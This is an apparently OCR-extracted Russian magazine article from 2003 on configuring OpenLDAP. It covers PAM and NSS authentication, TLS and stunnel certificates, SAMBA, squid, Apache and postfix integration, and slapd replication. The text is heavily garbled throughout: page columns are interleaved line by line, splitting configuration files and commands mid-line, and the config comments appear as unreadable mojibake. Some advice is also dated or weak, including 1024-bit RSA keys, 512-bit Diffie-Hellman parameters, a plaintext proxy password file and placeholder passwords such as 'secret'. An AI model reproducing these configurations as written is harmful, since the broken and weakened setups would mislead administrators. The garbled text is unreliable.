# Èìÿ êîðíåâîãî îáúåêòà LDAP ldapadd! перь разберёмся, как организовать
$DEFAULT_BASE = "dc=test,dc=ru"; Если всего этого делать нет же- связку с другими программами.
# Õîñò äëÿ ïðè¸ìà/ïåðåäà÷è ïî÷òû
# ïî óìîë÷àíèþ лания, то можно применить один из
$DEFAULT_MAIL_HOST = "mail.test.ru";
# Èñïîëüçóåì ðàñøèðåííûå ôàéëû ñõåì
shell-скриптов migrate_all_[on|off]line, Настройка клиентов
$EXTENDED_SCHEMA = 1; которые позволяют в интерактивном и аутентификации
режиме перенести все существую- Вначале нужно создать специального
Далее выполняем: щие стандартные конфигурационные пользователя, который мог бы читать
файлы в LDAP. пароли других пользователей (это, ко-
migrate_base.pl > base.ldif Ну вот, база создана, надо бы её нечно, плоховато для безопасности, но
проверить. Поищем в ней объекты с ведь пароль-то можно придумать ка-
для создания структуры базы LDAP. заданным атрибутом, пускай пому- кой-нибудь зловещий, например SHA1
Для добавления данного файла к чается: хеш от результата crypt над строкой

№2(3), февраль 2003 77


безопасность
$%YJH&*&*jszZn7867wey8YT6yeuwe%%&^&&*. но же, запретить чтение/запись Модуль LDAP является обычно
Этот пользователь понадобится в бу- всем, кроме root (chmod 0600 chown дополнительным компонентом и не
дущем для клиентов LDAP, для выпол- root:root). В принципе то же самое, является необходимым, и поиск идёт
нения аутентификации (ведь клиен- что и /etc/shadow. Но беда, что па- вначале в локальных файлах, а по-
там надо прочитать пароль, чтобы его роль хранится в открытом виде. С том уж в ldap (так как стоит он пос-
сравнить с чем-то). Назовём этого другой стороны, получение пароля ле других способов аутентифика-
пользователя proxy и сделаем следу- proxy само по себе ничего не даёт: ции). Таким образом, можно доба-
ющее: нельзя менять пароли, но прочитать вить аутентификацию через ldap в
Добавим его в LDAP: их можно (хотя толку мало, если па- любой модуль pam, а последний ис-
роли дикие). Но если proxy не может пользуется множеством приложений
dn: cn=proxy,dc=test,dc=ru менять пароль, то никто не сможет для аутентификации клиента.
cn: prox
sn: proxy изменить свой пароль, иначе как вы Ещё одной интересной возмож-
objectclass: top себе это представляете. Ну а даль- ностью ldap является возможность
objectclass: person
userPassword: ше надо настраивать pam, чтоб он проверки хоста. Часто нельзя, что-
{MD5}Xr4ilOzQ4PCOq3aQ0qbuaQ== ходил на LDAP-сервер за паролями. бы любой человек, занесённый в
Чтобы включить возможность аутен- базу ldap, мог пользоваться вашим
Затем предоставим ему права чте- тификации приложений через LDAP, компом (мало ли чего, вдруг это на-
ния пароля в sldap.conf: необходимо установить модуль PAM чальник). Поэтому можно добавить
pam-ldap. После этого можно вклю- к учётным записям пользователей
access to attr=userPassword чить в файлы /etc/pam.d (эти файлы хосты, на которые эти пользовате-
by self write
by anonymous auth содержат список способов аутенти- ли могут логиниться (повторяю: не
by dn="uid=root,dc=test,dc=ru" write фикации для определённых прило- откуда может поступать запрос, а
by dn="cn=proxy,dc=test,dc=ru" read
by * none жений: login, passwd, pop, smtp...) куда они мог ут входить, то есть
следующие строчки: нельзя удалённо пройти аутентифи-
Далее настроим наших клиентов в кацию на машине X, если это не раз-
файле /etc/ldap.conf для *nix клиентов, auth sufficient /lib/ решено). Для этого необходимо до-
security/pam_ldap.so
для других ОС необходимо смотреть account sufficient /lib/ бавить к каждой записи пользовате-
документацию к софту, работающе- security/pam_ldap.so ля следующие атрибуты:
password sufficient /lib/
му с LDAP-сервером: security/pam_ldap.so
#(ýòà ñòðî÷êà íóæíà íå âåçäå, íàäî host: name_of_host1
# Ñåðâåð LDAP – IP-àäðåñ ñåðâåðà èëè # ñìîòðåòü, â êàêèõ ôàéëàõ îíà óæå host: name_of_host2
# åãî èìÿ, íàõîäÿùååñÿ â /etc/hosts, # åñòü) ...
# èëè â DNS íà óäàë¸ííîì óçëå host: name_of_hostn
host 127.0.0.1 Особо надо отметить файл system-
# Îñíîâíîé ñóôôèêñ äîëæåí ñîâïàäàòü
# ñ ñóôôèêñîì â slapd.conf auth, здесь нужно указать некоторые Для модификации базы данных
base dc=test,dc=ru вещи: можно воспользоваться программой
# Ýòî òèïà root, òî÷íåå, íàø ãîðÿ÷î
# ëþáèìûé proxy, ñäåëàíî â öåëÿõ ldapmodify:
# áåçîïàñíîñòè è íå ïîçâîëÿåò ñàìîìó #%PAM-1.0
# ïîëüçîâàòåëþ èçìåíèòü ïàðîëü. auth required /lib/security/ ldapmodify -H ldap://localhost -D
rootbinddn cn=proxy,dc=test,dc=ru pam_env.so "cn=root,dc=test,dc=ru" -x -W -f host-
scope one auth sufficient /lib/security/
# Ýòî ôèëüòð äëÿ ïîèñêà pam_unix.so likeauth nullok auth.ldif
# ïîëüçîâàòåëüñêèõ çàïèñåé auth sufficient /lib/security/
pam_filter objectclass=posixaccount pam_ldap.so use_first_pass А сам файл host-auth.ldif должен
# Àòðèáóò, îïðåäåëÿþùèé èìÿ auth required /lib/security/
# ïîëüçîâàòåëÿ è åãî ãðóïïû pam_deny.so содержать следующее:
# äëÿ pam-ìîäóëÿ
pam_login_attribute uid account required /lib/security/
pam_member_attribute gid pam_unix.so dn: uid=user_name, ou=People,
pam_template_login_attribute uid account [default=bad success=ok dc=test, dc=ru
# Òèï ïàðîëÿ - øèôðîâàíèå UNIX crypt, user_unknown=ignore \ changetype: modify
# êñòàòè, øèôðîâàíèå LDAP è øèôðî- service_err=ignore add: host
# âàíèå UNIX – íåñîâìåñòèìû (crypt system_err=ignore] /lib/security/ host: name_of_host1
# îçíà÷àåò èìåííî øèôðîâàíèå unix)! pam_ldap.so host: name_of_host2
pam_password crypt host: name_of_hostn
# Áàçîâûå dn äëÿ ïîèñêà ðàçëè÷íûõ password required /lib/security/
# îáúåêòîâ, one - ýòî îáëàñòü ïîèñêà. pam_cracklib.so retry=3
# Äàííûå ïàðàìåòðû èñïîëüçóþòñÿ nss. password sufficient /lib/security/ Придётся повторить это для каж-
nss_base_passwd pam_unix.so nullok use_authtok \ дого пользователя! Разумнее напи-
ou=People,dc=test,dc=ru?one md5 shadow
nss_base_shadow password sufficient /lib/security/ сать скрипт, но я возложу это на
ou=People,dc=test,dc=ru?one pam_ldap.so use_authtok ваши могучие плечи. После этого
nss_base_group password required /lib/security/
ou=Group,dc=test,dc=ru?one pam_deny.so надо сделать ещё изменения в /etc/
nss_base_hosts ldap.conf. В данном файле необхо-
ou=Hosts,dc=test,dc=ru?one session required /lib/security/
pam_limits.so димо указать, что нужно ещё смот-
После этого вы должны создать session required /lib/security/ реть атрибут host:
pam_unix.so
файл, содержащий пароль коварного session optional /lib/security/
proxy в открытом(!) виде. Ну и конеч- pam_ldap.so pam_check_host_attr yes

78
безопасность
Защита LDAP [ v3_req ]
subjectAltName = email:copy
трафика с порта 389 с целью повы-
при помощи SSL basicConstraints = CA:false шения безопасности (это запрещает
Как я уже говорил, в LDAP существует nsComment = "LDAP server certifica- доступ по сети к серверу ldap без ме-
te"
возможность защиты данных, переда- nsCertType = server ханизма ssl). Для генерации сертифи-
ваемых по сети. При этом использует- ката в данном случае можно приме-
ся два метода: TLS и SASL. Первый из Немного страшновато выглядит, но нить скрипт для генерации stunnel сер-
них не меняет порта, на котором слу- в ходе всех этих действий создаются тификатов, который обычно поставля-
шает LDAP (336), а просто организует два сертификата: доверенный серти- ется вместе с stunnel. Можно также
аутентификацию асимметрическим фикат и подписанный им сертификат применить следующее:
шифрованием, SASL же меняет порт сервера. Таким образом, сервер LDAP
LDAP на ldaps:// и соединение идёт по сможет проверить правильность свое- $ openssl req -new -x509 -days 365
-nodes -config stunnel.cnf \
другому механизму: через туннель го сертификата через доверенный сер- -out stunnel.pem -keyout stunnel.pem
SASL. TLS намного проще в настройке, тификат. Кстати, если у вас уже есть $ openssl gendh 512 >> stunnel.pem
поэтому я расскажу именно о нём. Для доверенные сертификаты, то можно
начала надо сгенерировать серверную воспользоваться ими: просто пропус- для генерации self-signed сертифика-
пару ключей асимметрического шиф- тите второй и третий шаг, и на четвер- та и параметров для ключей Дифле-
рования. Для этого в Linux удобно вос- том шаге введите имя своего доверен- мана-Хельмана. На самом деле через
пользоваться единым центром серти- ного сертификата (можно также вос- туннель у меня все работало просто
фикации OpenSSL (об этом я уже пи- пользоваться моим скриптом CA). на ура, а встроенные механизмы ра-
сал на страницах январского номера): Итак, после всех этих действий ботали несколько странно, хотя я пе-
 создаем rsa ключ длиной 1024 перемещаем сертификаты и ключ речитал все маны и руководства, но
бита и сохраняем его в файле сервера LDAP (ldap.key) куда-нибудь это не помогло...
ldap.key: в /etc/ssl/ldap (принято хранить все Теперь перезапускаем slapd и на-
ключи и сертификаты, созданные страиваем клиентов. Для настройки
$ openssl genrsa -out ldap.key openssl в /etc/ssl) и делаем их доступ- клиентов надо прописать в файле
1024 ными для чтения только владельцу: ldap.conf следующие строки:

 создаём запрос на сертификацию: #chmod 0400 /etc/ssl/ldap/*


è ìåíÿåì âëàäåëüöà íà ldap # Àóòåíòèôèêàöèÿ ÷åðåç TLS
#chown ldap:ldap /etc/ssl/ldap/* ssl start_tls
# Ïî óìîë÷àíèþ êëèåíò ïûòàåòñÿ
$ openssl req -new -config .cfg # èñïîëüçîâàòü îáû÷íîå ñîåäèíåíèå,
-key ldap.key -out ldap.csr Настройка сервера предельно # çàêîììåíòèðîâàâ ñëåäóþùóþ ñòðî÷êó,
# ìû ñòàâèì æèðíûé êðåñò íà åãî
проста: необходимо просто прописать # áåçîáðàçèÿõ
 создаём сертификат, по которому пути к сертификатам и ключам в фай- #ssl off
будем доверять (CACertificate); вна- ле slapd.conf следующим образом:
чале делаем ключ длиной 2048 бит:
# Ñåðòèôèêàò ñåðâåðà
TLSCertificateFile /etc/ssl/ldap/
Интеграция
$ openssl genrsa -des3 -out ldap.cert Теперь наш LDAP-сервер работает за-
ca.key 2048 # Êëþ÷ ñåðâåðà мечательно (или не работает совсем,
TLSCertificateKeyFile /etc/ssl/
ldap/ldap.key что зависит от /dev/hands) и его уже
 создаём self-signed сертификат # Äîâåðåííûé ñåðòèôèêàò
TLSCACertificateFile /etc/ssl/ldap/
можно использовать в сети, но мно-
сроком действия на год на основе ca.cert гие хотели бы заменить старые сис-
сгенерированного ключа: темы аутентификации на LDAP. Са-
Сервер можно конфигурировать и мое время, чтобы рассказать о LDAP
$ openssl req -new -x509 -days альтернативным методом – через тун- и NIS. NIS (службы сетевой информа-
365 -key ca.key -out ca.cert нель stunnel или ssh. Обычно приме- ции) широко используются для едино-
няют stunnel, но для начала опять же го управления паролями в сети. NIS –
 теперь на основе созданного для генерируют сертификат сервера (при это более старый и менее защищён-
LDAP ключа и доверенного сер- этом сам LDAP не должен быть на- ный протокол аутентификации. Воз-
тификата создаём сертификат строен для поддержки SSL, т.к. stunnel можности LDAP значительно шире, и
LDAP: будет заменять встроенные механиз- поэтому имеет смысл перенести NIS
мы SSL ldapa). После генерации сер- в LDAP, чтобы использовать возмож-
$ openssl x509 -req -in тификата делаем следующее: ности последнего и устоявшиеся на-
ldap.csr -out ldap.cert -CA стройки первого (не вновь же всё руч-
ca.cert -CAkey ca.key -
CAcreateserial \ #stunnel -r ldap -d 636 -p /etc/ ками писать), благо в пакете
-days 365 -extfile .cfg ssl/stunnel/stunnel.pem migrationtools есть скрипты для миг-
рации NIS и NISPLUS:
При этом файл конфигурации Записываем эту команду в один из
.cfg должен содержать следующие init-файлов и добавляем правило migrate_all_nisplus_on[off]line.sh
migrate_all_nis_on[off]line.sh
расширения: iptables для отбрасывания сетевого

№2(3), февраль 2003 79


безопасность
Я уже рассказал о методах интег- ента в /etc/hosts, а потом начнёт пе- Приведу простой пример настрой-
рации существущей системы и LDAP рерывать какие-то данные, что вызы- ки SAMBA с LDAP:
через PAM (встраиваемые модули вает нехилую задержку ~30 секунд
аутентификации), а сейчас настало (если имени нет в hosts). Так что луч- [global]
# Þçåðû äîëæíû çàëîãèíèòüñÿ íà
время рассказать ещё об одном ме- ше использовать старый добрый DNS # ñåðâåð
ханизме аутентификаци: NSS (дос- (тем более, записи DNS можно хра- security = user
# Åñòåñòâåííî, øèôðóåì ïàðîëè
ловно выбор службы имён). NSS вы- нить в LDAP, но об этом немного по- encrypt passwords = yes
бирает, какой тип аутентификации зднее). К тому же, когда я поставил у
netbios name = Linux
будет использоваться при запросе себя проверку хостов первоначально workgroup = NET
клиентом определённого файла или через LDAP, то последний повис на-
# Ïàðàìåòðû LDAP
механизма (с nss интегрировано глухо, т.к. вызывает рекурсивно
множество программ, например, gethostbyname() для определения сво- # Îïðåäåëÿåì àäìèíîâñêèé dn.
# Ïàðîëü ê íåìó äîëæåí äîáàâëÿòüñÿ
SAMBA). Для настройки NSS исполь- его адреса. # íåïîñðåäñòâåííî smbpasswd -w.
зуется файл /etc/nsswitch.conf. Его Хорошо, nss мы настроили, теперь # Ïîñëå ñìåíû dn àäìèíà ïàðîëü
# òîæå íàäî ñìåíèòü!
синтаксис предельно прост: имя сер- примемся за SAMBA. Честно говоря, ldap admin dn = "cn=ntadmin,
виса (shadow passwd hosts) и далее SAMBA, на мой взгляд, немного кри- ou=people,dc=test,dc=ru"
список параметров (в порядке убы- вая софтина (а как же: работает с та- # Îïðåäåëÿåì ñåðâåð LDAP
вания приоритета), определяющих кими замечательными ОС), но с вер- ldap server = ldap.test.ru
возможные сетевые службы. Вот, сии 2.2.6 вопросы, касающиеся LDAP, # Çàõîäèì íà LDAP-ñåðâåð ÷åðåç TLS
например, файл nssswitch.conf с вроде ушли из мейл-листа, что наво- ldap ssl = start tls
моей домашней машины: дит на радужные мечтания (кстати, # Îïðåäåëÿåì ïîðò(õîòÿ â äàííîì
SAMBA 2.2.6 требует SP3 у Win2k кли- # ñëó÷àå ýòî íåîáÿçàòåëüíî)
ldap port = 636
# Legal entries are: ентов). Для компиляции сервера с
#
# nisplus or nis+ LDAP наберите ./configure –with- # Îïðåäåëÿåì ñóôôèêñ áàçû äàííûõ
# ldap
# Èñïîëüçîâàòü 3-þ âåðñèþ NIS(NIS+) ldapsam. SAMBA имеет возможность ldap suffix = "ou=people,dc=test,
# nis or yp
# Èñïîëüçîâàòü 2-þ âåðñèþ NIS(YP) указания сервера LDAP и базового dn dc=ru"
# dns поиска прямо в smb.conf. Для этого су-
# Èñïîëüçîâàòü DNS
# files ществует несколько опций: Кроме этого, естественно, надо
# Èñïîëüçîâàòü ëîêàëüíûå ôàéëû  ldap server – основной параметр, завести админа SAMBA в LDAP и
# ldap
# Èñïîëüçîâàòü LDAP-áàçó определяет адрес LDAP-сервера; обеспечить ему соответствующие
# [NOTFOUND=return]  ldap ssl – параметр, указываю- права доступа в slapd.conf (можно
# Åñëè íå íàéäåíà èíôîðìàöèÿ,
# îñòàíîâèòü ïîèñê щий надо ли использовать безо- для этой цели использовать рута –
# пасные методы аутентификации это тоже сработает):
passwd: files nisplus nis (нужен всегда!). Имеет значение
shadow: files nisplus nis on для работы через SSL (порт access to attrs=lmPassword,ntPassword
group: files nisplus nis by dn="cn=ntadmin, ou=people,
636), start tls для обычной аутен- dc=test, dc=ru" write
hosts: files nisplus nis dns тификации через tls (389 порт) и by * none

networks: files no для посылки данных в откры-


protocols: files том виде (также порт 389); После настройки администраторс-
services: files
 ldap admin dn – параметр, опре- кой записи в ldap SAMBA может коррек-
netgroup: nisplus деляющий запись, имеющую пра- тно работать с деревом директорий.
ва доступа к паролям SAMBA; При правильной компиляции (с флагом
Чтобы использовать ldap, просто до-  ldap suffix – основной суффикс –with-ldapsam) smbpasswd будет добав-
бавьте в нужные места данный метод. базы данных LDAP; лять пользователей и машины в ката-
Если вы хотите использовать только  ldap filter – фильтр, по которому лог LDAP, при этом smbpasswd будет
ldap, то поставьте после слова «ldap» SAMBA ищет свои объекты, на- использовать passwd и groups из
строчку [NOTFOUND=return], чтобы по- пример: nsswitch (при правильной настройке nss
иск прекращался при отсутствии эле- можно также брать всю инфу из LDAP,
мента в базе LDAP. Например: ldap filter = т.к. SAMBA обращается к passwd через
"(&(uid=%u)(objectclass =
sambaAccount))": nss), добавляем пользователей:
# Èùåì âíà÷àëå â ëîêàëüíûõ ôàéëàõ,
# à ïîòîì â LDAP
passwd: files ldap имя пользователя совпадает с # smbpasswd -a <username>
shadow: files ldap логином виндов, а тип объекта –
group: files ldap
hosts: files dns ldap профиль SAMBA; добавляем машину (для SAMBA-кон-
 ldap port – если ваш сервер LDAP троллера домена):
Учтите ещё одну особенность: я бы висит на другом порту, чем это
не рекомендовал использовать ldap назначено по умолчанию (см. па- # smbpasswd -m -a <mach_name>$
для оперделения хостов, т.к. он будет раметр ldap ssl), то здесь это
пытаться найти имя удалённого кли- можно указать. После этого проверяем результат:

80
безопасность
# ldapsearch -ZZ -H localhost -b cti/ldap-smb/ldap-smb-2_2-howto.html – # öåëÿõ áåçîïàñíîñòè).
"o=smb, dc=test, dc=ru" "uid=pc1$" AuthLDAPBindDN
-- отличный пример настройки контрол- cn=proxy,dc=test,dc=ru
dn: uid=icb$, o=smb, dc=test, dc=ru лера домена с LDAP (не буду же я # Ïàðîëü äëÿ îñíîâíîãî êîíòåêñòà
objectClass: sambaAccount AuthLDAPBindPassword secret
uid: pc1$ здесь приводить все эти конфиги, а # Âêëþ÷åíèå ìåõàíèçìà TLS äëÿ äîñòóïà
pwdLastSet: 0 мои собственные исторической ценно- # ê ñåðâåðó ldap (ïî óìîë÷àíèþ off)
logonTime: 0 AuthLDAPStartTLS on
logoffTime: 2147483647 сти не имеют). # Îñíîâíîé ïàðàìåòð, êîòîðûé
kickoffTime: 2147483647 Напоследок скажу ещё об одном # îïðåäåëÿåò ñåðâåð ldap, dn ïîèñêà,
pwdCanChange: 0 # àòðèáóòû è ôèëüòð, ïî êîòîðîìó
pwdMustChange: 2147483647 приложении, работающем непосред- # âûïîëíÿåòñÿ àóòåíòèôèêàöèÿ:
displayName: MustdiePC ственно с LDAP, – это squid. Для него # ldaps://host:port/
cn: PC1 basedn?attribute?
rid: 2054 существует модуль, позволяющий вы- # scope?filter, ãäå basedn -
primaryGroupID: 1201 полнить http-аутентификацию, ис- áàçîâûé
lmPassword: # dn äëÿ ïîèñêà (èùåòñÿ òîëüêî â äàí-
56D989A3C45BBAD3462E8109C329E116 пользуя базу LDAP. В исходных тек- # íîé âåòâè äåðåâà è å¸ ïîòîìêàõ)
ntPassword: стах сквида можно найти модуль, # attribute – ñïèñîê àòðèáóòîâ,
56D989A3C45BBAD3462E8109C129E116 # ðàçäåëÿåìûõ çàïÿòîé, ïî êîòîðûì
acctFlags: [W ] squid_ldap_auth, представляющий со- # ïðîèçâîäèòñÿ ïîèñê (ïî óìîë÷àíèþ
-- бой внешнюю программу, его исход- # èñïîëüçóåòñÿ àòðèáóò uid)
# scope - ôëàã, îïðåäåëÿþùèé òèï
Далее вы можете изменять инфор- ные тексты находятся в каталоге # âîçâðàùàåìûõ çíà÷åíèé one - èùåòñÿ
мацию профиля пользователя. Напри- auth_modules/LDAP. Скомпилировав # ïåðâîå âûðàæåíèå, sub - èùóòñÿ âñå
# âûðàæåíèÿ, ñîîòâåòñòâóþùèå
мер, весьма полезны атрибуты её обычным образом (./configure -> # ôèëüòðó (ïðèíÿòî ïî óìîë÷àíèþ).
scriptPath (скрипт, выполняющийся make -> make install), получаем # filter - ñòðîêà, îïðåäåëÿþùàÿ
# ôèëüòð ïîèñêà ýëåìåíòîâ ldap,
при логине клиента), homeDrive (диск обычный исполняемый файл # çàêëþ÷àåòñÿ â ñêîáêè, ïî óìîë÷àíèþ
домашней директории), profilePath squid_ldap_auth. После установки # ðàâíà (objectclass=*). Ôèëüòð ìîæåò
# ñîäåðæàòü ëîãè÷åñêèå âûðàæåíèÿ |
(путь к профилю), pwdMustChange (не- модуля добавляем такие строчки в # è & êîòîðûå äîëæíû ñòîÿòü íå ìåæäó
обходимость смены пароля пользова- squid.conf: # äâóìÿ ñêîáêàìè, à ÏÅÐÅÄ íèìè.
# Ïðèâåäó íåñêîëüêî ïðèìåðîâ ôèëüò-
телем). Для изменения базы данных # ðîâ: (|(cn=admin)(uid=root)) –
LDAP на лету существует команда authenticate_program /usr/squid/ # èëè cn admin èëè UID root
libexec/squid/squid_ldap_auth -b # (cn=admin) - òîëüêî cn = admin
ldapmodify, которая, как и команда dc=test,dc=ru localhost # Â äàííîì ïðèìåðå äîïóñòèìûì ÿâëÿþò-
ldapadd, работает с файлами ldiff. Я # ñÿ òîëüêî îáúåêòû, ïðèíàäëåæàùèå
basedn
не буду подробно описывать формат Вначале указываем путь к испол- # O=myorg, OU=sysopka
этого файла, а просто приведу при- няемому файлу, затем основной суф- AuthLDAPUrl ldaps://test.ru/
O=myorg, OU=sysopka
мер изменения нужных атрибутов: фикс базы LDAP и LDAP-сервер # Òðåáóåì òîëüêî ïîëüçîâàòåëåé,
(localhost у меня). Далее в squid.conf # ïðîøåäøèõ ïðîâåðêó íà ldap-ñåðâåðå
require valid-user
dn: uid=001, o=smb, dc=test, dc=ru добавляем права доступа(ACL): </Directory>
changetype: modify
replace: profilePath
profilePath: \\%N\profiles\user1 # Çàñòàâëÿåì âñåõ àóòåíòèôèöèðî- Существует ещё несколько опций
- # âàòüñÿ äëÿ äîñòóïà ê ïðîêñè модуля, но они используются реже, и
replace: scripthPath acl password proxy_auth REQUIRED
scripthPath: 001.bat # Âîçìîæåí äîñòóï http âñåì, êòî о них можно почитать в документации.
- # ïðîø¸ë ïðîâåðêó Proftpd имеет схожий модуль auth-ldap,
replace: homeDrive http_access allow password
homeDrive: Z: # Îñòàëüíûõ øëåì ïîãóëÿòü но здесь описывать его я не буду, т.к.
- http_access deny all настройка модуля ftp-сервера очень
replace: pwdCanChange
pwdCanChange: 0 похожа на конфигурацию апача.
- Теперь о возможности работы с Настройка почтовых серверов
replace: pwdMustChange
pwdMustChange: 0 LDAP апача. Апач имеет модуль также не представляет особой про-
- mod_auth_ldap, который позволяет блемы. Я, например, без проблем
replace: primaryGroupID
primaryGroupID: 513 производить http-аутентификацию настроил postfix и курьер, последний
- через LDAP-сервер. Здесь я опять же настраивать особенно легко, т.к. он
ограничусь только примером типич- работает сразу же после того, как
Для добавления информации в ной настройки аутентификации че- указывается LDAP-сервер, основной
базу воспользуйтесь командой: рез ldap: dn, запись администратора и её па-
роль в открытом виде для доступа к
$ ldapmodify -H localhost -D httpd.conf полям паролей пользователей
"<admin_DN>" -W -ZZ -l modifi- # Çàãðóæàåì ìîäóëü àóòåíòèôèêàöèè.
cation.ldif # Îáû÷íî íàõîäèòñÿ â extramodules (опять же можно использовать
LoadModule auth_ldap_module proxy). Конфигурация postfix не-
extramodules/auth_ldap.so
(Примечание: в руководствах гово- AddModule auth_ldap.c сколько сложнее:
рится, что надо использовать ключ -f,
# Îïðåäåëåíèÿ àóòåíòèôèêàöèè ÷åðåç main.cf
а не -l, но у меня по-другому не рабо- # ldap äëÿ êîíêðåòíîãî êàòàëîãà
<Directory /var/www/secure> virtual_maps = ldap:ldapvirtual
тало, хотя, наверное, я что-то делаю
# Ýòî îñíîâíîé êîíòåêñò äëÿ ïîèñêà # Ñåðâåð ldap è ïîðò
не так). # ñîîòâåòñòâèÿ ïîëüçîâàòåëÿ è ïàðîëÿ
# â áàçå LDAP, åñëè äàííàÿ îïöèÿ íå ldapvirtual_server_host = test.ru
Любителям готовых примеров по- ldapvirtual_server_port = 389
# óêàçàíà, íî èñïîëüçóåòñÿ àíîíèìíûé # Îñíîâíîé dn äëÿ ïîèñêà ïî áàçå
советую сходить на http://www.unav.es/ # äîñòóï (÷òî îáû÷íî çàïðåùàåòñÿ â

№2(3), февраль 2003 81


безопасность
ldapvirtual_search_base = ou=mail, направляет клиента к главному). write
o=YourOrg, c=nl by self write
# Äîìåí äëÿ ïîèñêà  Клиент посылает запрос главному
ldapvirtual_domain = test.ru серверу, который он обрабатыва- После настройки всех серверов
# Àòðèáóò, êîòîðûé äîëæåí ÷èòàòü
# postfix ïðè ðàáîòå ñ ldap (ïî ет. При этом сервер знает, что кли- необходимо перекопировать содержи-
# e-mail àäðåñó îïðåäåëÿåòñÿ ïóòü). ент был к нему перенаправлен (это мое базы данных LDAP основного сер-
ldapvirtual_result_attribute =
maildrop записывается в лог реплики). вера на все вторичные сервера, для
# Ñ÷èòûâàåì îäíó çàïèñü èç âûáîðêè
ldapvirtual_scope = one
 slurpd замечает (после проше- этого необходимо перенести содержи-
# Îñíîâíîé êîíòåêñò è ïàðîëü ствия некоторого времени), что мое DatabaseDir физически(!). После
ldapvirtual_bind_dn = cn=proxy, данные были обновлены, и осуще- всего этого желательно проиндекси-
dc=test, dc=ru
ldapvirtual_bind_pw = secret ствляет синхронизацию. ровать базу, иначе поиск по ней за-
 Вторичные сервера получают зап- медляется:
рос от slurpd главного сервера и,
Реплики обновив данные у себя, посылают slapindex -f /etc/ldap/slapd.conf
Ну вот, с интеграцией LDAP разобра- ответ slurpd, этот ответ также мо- -b "dc=test, dc=ru"
лись... Пора рассказать о дополни- жет быть записан в лог реплики.
тельных возможностях данной систе- Затем на главном сервере запус-
мы. Итак, реплики. Реплики – это одна Ну всё, хватит теории, начинаем каем slurpd:
из мощных возможностей системы настройку. Для начала поправим
директорий LDAP. Реплики – это рас- slapd.conf: # slurpd
копирование базы данных LDAP по
нескольким серверам, т.е. фактичес- # Ýòî îñíîâíîé ñåðâåð! Использование stunnel в данном
ки само дерево «размазывается» по # Äîáàâèì íåñêîëüêî ðåïëèê. Êàæäàÿ случае также приемлемо – на главном
# äèðåêòèâà ñîîòâåòñòâóåò îäíîìó
серверам. Реплика существует меж- # âòîðè÷íîìó ldap-ñåðâåðó. Óêàçûâàåì сервере устанавливаются клиенты
ду несколькими серверами, один из # àäðåñ âòîðè÷íîãî ñåðâåðà(host), туннеля, которые направлены ко вто-
# dn äëÿ ðåïëèêàòîðà, ìåòîä
которых является primary (это похоже # àóòåíòèôèêàöèè è ïàðîëü ðåïëèêàöèè ричным LDAP-серверам, но на серве-
на службу DNS, только немного для # (ïàðîëü äëÿ äàííîãî dn).  êà÷åñòâå ре эти туннели будут висеть на раз-
# ðåïëèêàòîðà ìîæíî èñïîëüçîâàòü ðó-
других целей). В таком случае первич- # òà. ×åñòíî ãîâîðÿ, äëÿ ðåïëèê ÿ áû ных портах, и LDAP-сервер будет со-
ный сервер обрабатывает запросы на # ñîçäàë òóííåëü ÷åðåç ssh èëè stun- единяться с локальными туннелями,
# nel è ïðèñîåäèíÿëñÿ áû íå ê óäàë¸í-
запись и на чтение, а вторичные – # íîìó õîñòó ê ïîðòó 389, à ê ëîêàëü- висящими на портах, которые соот-
только на чтение. При модификации # íîìó íà íàçíà÷åííûé ïîðò (äëÿ ðàç- ветствуют рабам ldap:
# íûõ ðàáîâ ìîæíî ñäåëàòü íåñêîëüêî
данных на главном сервере он захо- # òóííåëåé)
дит на все вторичные и синхронизи- replica host=slave1.test.ru:389 stunnel -c -d 9636 -r
binddn="cn=replicator, dc=test, dc=ru" slave1.test.ru:636
рует их базы со своей. Для создания bindmethod=simple stunnel -c -d 10636 -r
реплик необходимо три вещи: credentials=replicator_password slave2.test.ru:636
 настройка файлов slapd.conf глав-
# Ñëåäóþùèé ðàá
replica host=slave2.test.ru:389
ного и вторичных серверов; binddn="cn=replicator, dc=test, dc=ru" И это всё! Если вторичный сервер
 первоначальный перенос основ-
bindmethod=simple
credentials=replicator_password не сможет пробиться к основному (на-
ной базы с основного сервера на # Çàïèñûâàåì äàííûå ðåïëèê â log- пример, электрик дядя Ваня дерзко пе-
# ôàéë, ýòî äåëàòü íåîáÿçàòåëüíî
вторичные; # (äàæå íåæåëàòåëüíî, ò.ê. ïîíèæàåò рерубил оптоволокно), то клиент, под-
 запуск демона slurpd, который и # ïðîèçâîäèòåëüíîñòü). Ýòà îïöèÿ åäè-
# íà äëÿ âñåõ âòîðè÷íûõ ñåðâåðîâ
ключенный к вторичному серверу, смо-
осуществляет синхронизацию сер- replogfile /var/log/ldap/ жет читать информацию, но изменять
веров. replica.log её не сможет. А если в результате бо-
евых действий рухнул винт, то с любо-
После осуществления всего этого После чего на вторичных серверах го вторичного сервера можно будет
можно разбивать пользователей на вносим ещё пару строк в slapd.conf: восстановить первозданную базу
группы и указывать для их клиентов LDAP (какой она была до краха основ-
определённый LDAP-сервер и создать # Ýòî âòîðè÷íûé ñåðâåð! ного сервера). По такой распределён-
# Íåëüçÿ èñïîëüçîâàòü äèðåêòèâû
основной сервер, который будет все # replica replogfile. Íåîáõîäèìî ной схеме можно создавать сколь угод-
вторичные синхронизировать (звездо- # ñîçäàòü íåêèé updatedn, ñîâïàäàþùèé но большую сеть, так как основными
# ñ binddn îñíîâíîãî ñåðâåðà,
образная схема). При этом любые из- # ïî êîòîðîìó ãëàâíûé áóäåò являются запросы на чтение, и нагру-
менения в базе любого из LDAP-сер- # ìîäèôèöèðîâàòü äàííûå. жаться будут вторичные сервера.
updatedn="cn=replicator,dc=test,dc=ru"
веров будут раскопированы на все # Âêëþ÷àåì àäðåñ îñíîâíîãî ñåðâåðà
сервера, включая основной. Вот при- # ldap, êóäà áóäåò ïåðåíàïðàâëÿòüñÿ
# êëèåíò, ïûòàþùèéñÿ ìîäèôèöèðîâàòü
Создание объектов LDAP
мерная схема действия реплики при # äàííûå Файлы схем
получении запроса от клиента. updateref master.test.ru:389 LDAP, как уже было сказано, являет-
# Íàäî äàòü íåîáõîäèìûå ïðèâèëåãèè
 Вторичный LDAP-сервер получает # ðåïëèêàòîðó, ò.ê. åìó íåîáõîäèì ся расширяемой объектно-ориентиро-
запрос на изменение и говорит кли- # äîñòóï íà çàïèñü äàííûõ ванной системой, и вы можете добав-
access to *
енту, что надо изменить данные на by dn="cn=root, dc=test, dc=ru" write лять новые классы с новыми атрибу-
основном сервере (то есть пере- by dn="cn=replicator, dc=test, dc=ru" тами в базу LDAP. Для этой цели су-

82
безопасность
